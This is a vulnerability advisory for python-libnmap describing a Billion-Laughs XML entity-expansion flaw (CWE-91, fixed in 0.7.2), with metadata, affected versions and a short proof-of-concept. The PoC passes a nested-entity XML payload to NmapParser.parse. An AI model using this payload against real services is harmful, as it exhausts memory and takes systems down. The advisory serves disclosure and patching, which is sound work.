GHSA-9ccv-p7fg-m73x

Suggest an improvement
Source
https://github.com/advisories/GHSA-9ccv-p7fg-m73x
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/07/GHSA-9ccv-p7fg-m73x/GHSA-9ccv-p7fg-m73x.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-9ccv-p7fg-m73x
Aliases
Published
2019-07-18T15:38:41Z
Modified
2024-10-16T02:55:18.406249Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
XML Injection in python-libnmap
Details

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)
Database specific
{
    "nvd_published_at": "2019-07-15T03:15:00Z",
    "cwe_ids": [
        "CWE-91"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2019-07-18T15:38:22Z"
}
References

Affected packages

PyPI / python-libnmap

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.7.2

Affected versions

0.*

0.2.3
0.2.4
0.2.7
0.2.8
0.4.0
0.4.6
0.5.0
0.5.1
0.6
0.6.1
0.6.2
0.6.3
0.7.0